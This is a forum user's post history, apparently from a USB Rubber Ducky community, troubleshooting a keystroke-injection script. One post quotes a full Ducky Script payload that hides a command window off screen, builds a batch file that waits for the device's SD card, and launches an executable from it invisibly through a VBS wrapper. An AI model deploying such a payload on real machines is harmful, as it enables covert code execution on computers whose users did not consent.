Jump to content

freeze

Active Members
  • Posts

    9
  • Joined

  • Last visited

Posts posted by freeze

  1. 
    

    C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp>echo list volume | diskpart

    Microsoft DiskPart version 5.1.3565

    Copyright (C) 1999-2003 Microsoft Corporation.

    On computer: FFA2

    DISKPART>

    Volume ### Ltr Label Fs Type Size Status Info

    ---------- --- ----------- ----- ---------- ------- --------- --------

    Volume 0 D CD-ROM 0 B

    Volume 1 C NTFS Partition 64 GB Healthy System

    DISKPART>

    C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp>

  2. I think you may be on to something with copy + paste. Maybe just try typing the command on the command line

    diskpart list volume
    (i think that's right?)
    
    C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp>diskpart list volume
    
    Microsoft DiskPart version 5.1.3565
    
    Copyright (C) 1999-2003 Microsoft Corporation.
    On computer: FFA2
    
    DiskPart was unable to process the parameters.
    Use 'diskpart /?' for more information.
    
    C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp>
    
  3. What the problem at this script?

    C:\Documents and Settings\Administrator>CD %TEMP%

    C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp>erase /Q DuckyWait.bat

    C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp>copy con DuckyWait.bat
    :while1
    for /f "tokens=3 delims= " %%A in ('echo list volume ^| diskpart ^| findstr "DUC
    KY"') do (set DUCKYdrive=%%A:)
    if Exist %DUCKYdrive% (
    goto :break
    )
    timeout /t 30
    goto :while1
    :break
    START %DUCKYdrive%\HelloWorld.exe
    ^Z
    1 file(s) copied.

    C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp>DuckyWait.bat
    The syntax of the command is incorrect.

    C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp>

  4. Use script:

    REM Author: overwraith
    REM Name: RunEXE_V2.txt
    REM Purpose: Run an executable file off of the SD card after it mounts. Uses googleknowsbest's slightly more portable method to find the "Ducky" drive.
    REM Encoder V2.4
    REM Using the run command for a broader OS base.
    DEFAULT_DELAY 75
    DELAY 3000
    GUI r
    DELAY 1000
    STRING cmd /Q /D /T:7F /F:OFF /V:ON /K
    DELAY 500
    ENTER
    DELAY 750
    ALT SPACE
    STRING M
    DOWNARROW
    REPEAT 100
    ENTER
    
    REM Change directories because System32 appears to be protected.
    STRING CD %TEMP%
    ENTER
    
    REM Make batch file that waits for SD card to mount.
    REM Delete batch file if already exists
    STRING erase /Q DuckyWait.bat
    ENTER
    STRING copy con DuckyWait.bat
    ENTER
    REM DuckyWait.bat
    STRING :while1
    ENTER
    STRING for /f "tokens=3 delims= " %%A in ('echo list volume ^| diskpart ^| findstr "DUCKY"') do (set DUCKYdrive=%%A:)
    ENTER
    STRING if Exist %DUCKYdrive% (
    ENTER
    STRING goto :break
    ENTER
    STRING )
    ENTER
    STRING timeout /t 30
    ENTER
    STRING goto :while1
    ENTER
    STRING :break
    ENTER
    REM Continue script.
    STRING START %DUCKYdrive%\HelloWorld.exe
    ENTER
    CONTROL z
    ENTER
    
    REM MAKE THE VBS FILE THAT ALLOWS RUNNING INVISIBLY.
    REM Delete vbs file if already exists
    STRING erase /Q invis.vbs
    ENTER
    REM FROM: http://stackoverflow.com/questions/289498/running-batch-file-in-background-when-windows-boots-up
    STRING copy con invis.vbs
    ENTER
    STRING CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False
    ENTER
    CONTROL Z
    ENTER
    
    REM RUN THE BATCH FILE
    STRING wscript.exe invis.vbs DuckyWait.bat
    ENTER
    REM STRING EXIT
    REM ENTER
    
    

    And nothing happens ...

    b9b868ccc6e3.jpg

×
×
  • Create New...